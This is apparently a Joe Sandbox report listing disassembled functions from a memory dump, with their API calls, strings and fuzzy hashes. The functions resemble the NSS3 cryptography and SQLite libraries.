PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C5B8000

Part of subcall function 6C5D9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C5B7F0C,?,00000000,00000000,00000000,?), ref: 6C5D943B
Part of subcall function 6C5D9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C5D946B
Part of subcall function 6C5D9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C5D9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5B8110
PK11_FreeSymKey.NSS3(00000000), ref: 6C5B811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C5B822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C5B823C

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: ef38e1ccd5eac031966fdcc81bf246b723e06142396e0d359aa7d9fd8e6f32e6
Instruction ID: d052b40e3e5692f82157bcbd3ef60e0287484a8af4093394488bf597f16e5828
Opcode Fuzzy Hash: ef38e1ccd5eac031966fdcc81bf246b723e06142396e0d359aa7d9fd8e6f32e6
Instruction Fuzzy Hash: 5BC15DB1D00219DBEB21CF24CC50BEABBB8AF05348F0085E5E81DB6641E7319E85CFA1

Function 6C52AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C64CF46,?,6C51CDBD,?,6C64BF31,?,?,?,?,?,?,?), ref: 6C52B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C64CF46,?,6C51CDBD,?,6C64BF31), ref: 6C52B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C64CF46,?,6C51CDBD,?,6C64BF31), ref: 6C52B0A2
CloseHandle.KERNEL32(?,?,6C64CF46,?,6C51CDBD,?,6C64BF31,?,?,?,?,?,?,?,?,?), ref: 6C52B100
sqlite3_free.NSS3(?,?,00000002,?,6C64CF46,?,6C51CDBD,?,6C64BF31,?,?,?,?,?,?,?), ref: 6C52B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C64CF46,?,6C51CDBD,?,6C64BF31), ref: 6C52B12D

Part of subcall function 6C519EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C52C6FD,?,?,?,?,6C57F965,00000000), ref: 6C519F0E
Part of subcall function 6C519EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C57F965,00000000), ref: 6C519F5D

Strings

`jl, xrefs: 6C52B0DF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `jl
API String ID: 3155957115-1077109542
Opcode ID: 7f0856cf25776e9bf5ed7f4a49f36498cc37a43556e5a7aeda4dde4d178e73bd
Instruction ID: c2b795c60f7e1964fd6671004a4d94c83075b2a9286d6a432e38acadc332a3f7
Opcode Fuzzy Hash: 7f0856cf25776e9bf5ed7f4a49f36498cc37a43556e5a7aeda4dde4d178e73bd
Instruction Fuzzy Hash: 7591F1B1A042058FEB14DF29DC84A6BB7F2FF45304F144A2DE41697A90EB39E850CB55

Function 6C5C0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C5C0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C5C0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C5C1006
PK11_FreeSymKey.NSS3(?), ref: 6C5C101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5C1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5C103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C5C1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C5C10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C5C10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C112E

Part of subcall function 6C5C1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C5C08C4,?,?), ref: 6C5C15B8
Part of subcall function 6C5C1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C5C08C4,?,?), ref: 6C5C15C1
Part of subcall function 6C5C1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5C162E
Part of subcall function 6C5C1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5C1637

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: dfc3d34f1453f2bd2cb17d35a4f1b1ea2f0e35cc09de413c2f5ade2dd3944a98
Instruction ID: 2063997fbdcc139cb962cfb3475f619e365b664bf6298f11dba65248421c02c0
Opcode Fuzzy Hash: dfc3d34f1453f2bd2cb17d35a4f1b1ea2f0e35cc09de413c2f5ade2dd3944a98
Instruction Fuzzy Hash: A171BEB5A00245CFDB04CFE9DC84A6BB7B1BF88318F14862DE90997711EB31E955CB92

Function 6C5E1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C5E1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C5E2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C5E228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C5E23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5E241C

Strings

token, xrefs: 6C5E1F2C
model, xrefs: 6C5E23CB, 6C5E23EC
manufacturer, xrefs: 6C5E2179
serial, xrefs: 6C5E22A2

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 8b70490db108eb5d52249ad8f74a444532add18b84fd7cd94b3f41c49266d62c
Instruction ID: b6fb378a1895884ad2d8c02f981e4371e091cc582c992e6bb6a68e81b74762b6
Opcode Fuzzy Hash: 8b70490db108eb5d52249ad8f74a444532add18b84fd7cd94b3f41c49266d62c
Instruction Fuzzy Hash: 830240B2E0C7C96EF7358671CC4C3D77AE19B49328F0C166EC5EE46683C7A859888791

Function 6C520FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C51CA30: EnterCriticalSection.KERNEL32(?,?,?,6C57F9C9,?,6C57F4DA,6C57F9C9,?,?,6C54369A), ref: 6C51CA7A
Part of subcall function 6C51CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C51CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C52103E
EnterCriticalSection.KERNEL32(?), ref: 6C521139
LeaveCriticalSection.KERNEL32(?), ref: 6C521190
sqlite3_free.NSS3(00000000), ref: 6C521227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C52126E
sqlite3_free.NSS3(?), ref: 6C52127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C521267
Pjl, xrefs: 6C52109E
winAccess, xrefs: 6C52129B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pjl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-2167312072
Opcode ID: 486f98903c0e92a9f48395e185f0adaf5163d77677637c97a6da444fe4acb3b8
Instruction ID: 627091b4535096afd513fb74846097b78b3a9032736c7e346577261df07b4bb9
Opcode Fuzzy Hash: 486f98903c0e92a9f48395e185f0adaf5163d77677637c97a6da444fe4acb3b8
Instruction Fuzzy Hash: 4F71E8327082019BEB04DF26EDC5A6B33F6EB86314F140629F92587AC0DB36DD45C79A

Function 6C5E6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C591C6F,00000000,00000004,?,?), ref: 6C5E6C3F

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C591C6F,00000000,00000004,?,?), ref: 6C5E6C60
PR_ExplodeTime.NSS3(00000000,6C591C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C591C6F,00000000,00000004,?,?), ref: 6C5E6C94

Strings

gfff, xrefs: 6C5E6D9C
gfff, xrefs: 6C5E6CFD
gfff, xrefs: 6C5E6CF5
gfff, xrefs: 6C5E6D30
gfff, xrefs: 6C5E6D66

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 9a756b56d91bc464c36b9a9b0cac1639f216bb22f648492511e9e0be8387f8e5
Instruction ID: a68a2932d93a30d489f3d7004e93308c1711e1d8dbfd99a3f1836b366689005a
Opcode Fuzzy Hash: 9a756b56d91bc464c36b9a9b0cac1639f216bb22f648492511e9e0be8387f8e5
Instruction Fuzzy Hash: 88512972B016494BC708CDADDC526DAB7DAABE4310F48C23AE442DB781DA38D906C751

Function 6C660F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C661027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6610B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C661353

Strings

-- , xrefs: 6C660FF5
%02x, xrefs: 6C6612F6
$, xrefs: 6C6612A0
NULL, xrefs: 6C66119E
'%.*q', xrefs: 6C661217, 6C661292
%lld, xrefs: 6C66114B
zeroblob(%d), xrefs: 6C661223

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 548c1f03d8356c98e961d87e8f9e5ecc76d00690527a86ede551ac03440828fc
Instruction ID: 69a101d3b5bcf872b7719a16c0c9cec6b426304c978d9c207555e11ecfcd0bff
Opcode Fuzzy Hash: 548c1f03d8356c98e961d87e8f9e5ecc76d00690527a86ede551ac03440828fc
Instruction Fuzzy Hash: 1DE19F71908340DFD714CF16C880AABBBF5AF85348F14891DE98587B51E771E945CB87

Function 6C668FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C668FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6690DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C669118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C66915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6691C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C669209

Strings

UUUU, xrefs: 6C669255
3333, xrefs: 6C66925E

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 37edaf9b723d687b6f7235d95a487710bea5eb5167cbc57c7f49f76dc49aad94
Instruction ID: 109dc8789ac317cdbcb493a5ad1588fb4058f617f37845b6be2f0384ad7a4630
Opcode Fuzzy Hash: 37edaf9b723d687b6f7235d95a487710bea5eb5167cbc57c7f49f76dc49aad94
Instruction Fuzzy Hash: EBA1AE72E001159BDB04CB69CC90BAEB7B5AF89328F094139ED15A7741E736AC11CBA5

Function 6C5FBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C5FBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C5FBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C5FBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C5FBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C5FBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C5FBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C5FBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C5FBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C5FBE1E

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 4906dfbeab2cc1620acb0e1069af1bebffc4bf7fae87af90059a5030ccd00f94
Instruction ID: 1b2fe59af13dfcbb0d0dd6599f42d2d7c4bacfdcf1f0a9aeceea377c3ae1bcc6
Opcode Fuzzy Hash: 4906dfbeab2cc1620acb0e1069af1bebffc4bf7fae87af90059a5030ccd00f94
Instruction Fuzzy Hash: 3221E3B6E40289D7FB046652DD42B8B36749BD174DF0C0114EA36EE641F310D81A8EA6

Function 6C6A8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C6F14E4,6C65CC70), ref: 6C6A8D47
PR_GetCurrentThread.NSS3 ref: 6C6A8D98

Part of subcall function 6C580F00: PR_GetPageSize.NSS3(6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000,?,6C51204A), ref: 6C580F1B
Part of subcall function 6C580F00: PR_NewLogModule.NSS3(clock,6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000,?,6C51204A), ref: 6C580F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C6A8E7B
htons.WSOCK32(?), ref: 6C6A8EDB
PR_GetCurrentThread.NSS3 ref: 6C6A8F99
PR_GetCurrentThread.NSS3 ref: 6C6A910A

Strings

%u.%u.%u.%u, xrefs: 6C6A8E74

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 6eddf39e12fd4aa7d05c142a330e26161a05940d5a23e92438df2fbbb5370e7e
Instruction ID: ae8efe5d73729146747381bc45e474b4213f71d9ab5aa9f6b0f177d4abfe3a7b
Opcode Fuzzy Hash: 6eddf39e12fd4aa7d05c142a330e26161a05940d5a23e92438df2fbbb5370e7e
Instruction Fuzzy Hash: A302AA319052918FDB148F59C4687AABBB3EF8630CF29825EC8915BAA1C332DD47C794

Function 6C52EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6C52F0AB, 6C52F2DA, 6C52F757, 6C52F93E
there is already an index named %s, xrefs: 6C52F9D7
table, xrefs: 6C52F05C, 6C52FABC, 6C52FAC7
not authorized, xrefs: 6C52F957, 6C52F9BA
view, xrefs: 6C52F061, 6C52F071, 6C52FAB7
sqlite_temp_master, xrefs: 6C52F0A6, 6C52F2D5
authorizer malfunction, xrefs: 6C52F95C, 6C52F9BF, 6C52FA5E, 6C52FA8B
temporary table name must be unqualified, xrefs: 6C52F734
%s %T already exists, xrefs: 6C52FAC8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: ddf30ef349d12f98095f39570a19d2492c931e220c5809d31c1116782a855bc1
Instruction ID: d55969b1b740c73c1475df72abc87b98c55d1fb05f0b6325cc0ff967ebb6ef42
Opcode Fuzzy Hash: ddf30ef349d12f98095f39570a19d2492c931e220c5809d31c1116782a855bc1
Instruction Fuzzy Hash: A5729170E042158FDB14CF68D884BAABBF1FF89308F1582ADD8159B792D779E845CB90

Function 6C649C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C51C52B), ref: 6C649D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C64A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C64A114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C64A01F, 6C64A0E4, 6C64A0FE
%s at line %d of [%.10s], xrefs: 6C64A02E, 6C64A10D
database corruption, xrefs: 6C64A029, 6C64A108

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: f393278678cdaaf9591422257e28c1f9c7f9a6351d7c4992a7dc2f27767ba6c0
Instruction ID: a39d41510e916974b7ea8a0159447f37ef6158eee277b095021ab2a06b08e73d
Opcode Fuzzy Hash: f393278678cdaaf9591422257e28c1f9c7f9a6351d7c4992a7dc2f27767ba6c0
Instruction Fuzzy Hash: 1E22BD7164C7419FC704CF29C59066BBBE5BF8A348F04CA2DE8DA97A42D731E845CB4A

Function 6C669D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C528637,?,?), ref: 6C669E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C528637), ref: 6C669ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C669EC0
%s at line %d of [%.10s], xrefs: 6C669ECF
database corruption, xrefs: 6C669ECA

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
